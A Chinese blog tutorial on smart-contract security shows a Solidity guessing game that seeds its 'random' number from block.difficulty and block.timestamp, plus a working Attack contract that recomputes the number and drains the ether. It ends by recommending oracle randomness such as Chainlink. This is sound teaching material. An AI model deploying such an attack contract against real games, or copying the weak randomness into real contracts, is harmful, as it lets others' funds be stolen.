美文网首页合约安全
合约安全:随机数破解

合约安全:随机数破解

作者: 梁帆 | 来源:发表于2022-12-04 23:37 被阅读0次

一、漏洞

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint _guess) public {
        uint answer = uint(
            keccak256(abi.encodePacked(block.difficulty, block.timestamp))
        );

        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
        uint answer = uint(
            keccak256(abi.encodePacked(block.difficulty, block.timestamp))
        );

        guessTheRandomNumber.guess(answer);
    }

    // Helper function to check balance
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这个猜数的合约很简单,即你猜对了数就给你1 ether,这个随机数生成种子采用的是block.difficulty, block.timestamp

攻击合约知道随机生成的规则,用了相同的随机数种子——因为都是链上公有的数据,先算出来再调用猜数合约,这样就很容易把合约里的以太都赢过来。

二、预防手段

不用使用block.difficultyblock.timestamp等公用的区块参数作为随机数的种子,这样会很容易被破解。

一般来说,如果你需要用随机数,而且这个随机数要用在非常重要的涉及核心逻辑的场景时,就可以选择从预言机中拿到随机数值,比如chainlink,就提供了随机数。官方文档中有《Get a Random Number》一节,可以点击查看。

相关文章

  • 合约安全:随机数破解

    一、漏洞 这个猜数的合约很简单,即你猜对了数就给你1 ether,这个随机数生成种子采用的是block.diffi...

  • Solodity知识点集 — Keccak256与事件(二)

    Keccak256生成伪随机数 注: 在区块链中安全地产生一个随机数是一个很难的问题 类型转换 事件 事件 是合约...

  • Chainlink

    Chainlink功能主要有: 为智能合约获取加密货币价格; 生成可验证的随机数; 利用Chainlink合约库请...

  • 线程安全随机数

    ThreadLocalRandom.getProbe()线程安全随机数

  • 无处不在的随机数

    目录: 什么是随机数 随机数分类 伪随机数生成器 真随机数生成器 各种语言中的随机数 使用系统时间作为种子是否安全...

  • 以太坊solidity智能合约-生成随机数

    Solidity随机数生成 在以太坊的只能合约中,没有提供像其他面向对象编程一样的生成随机数的工具类或方法。其实,...

  • shell-实战2

    企业Shell面试题2:破解RANDOM随机数案例已知下面的字符串是通过RANDOM随机数变量md5sum后,再截...

  • 【链安科技】智能合约随机数算法漏洞

    据成都链安科技消息,MyCryptoChamp游戏合约随机数“不随机”,影响游戏公平性。 MyCryptoCham...

  • eos源码解析(番外2):交易阻塞攻击之延时交易随机数漏洞详解

    首先,我们来简要介绍一下dice合约。一轮游戏的过程大致如下: 在以上步骤中,合约自动发起了两次延时交易,随机数在...

  • 2019-07-09

    伪随机数,是通过一些数学算法生成的随机数,并非真正的随机数。密码学上的安全伪随机数应该是不可压缩的。对应的“真随机...

网友评论

    本文标题:合约安全:随机数破解

    本文链接:https://www.haomeiwen.com/subject/hqdbfdtx.html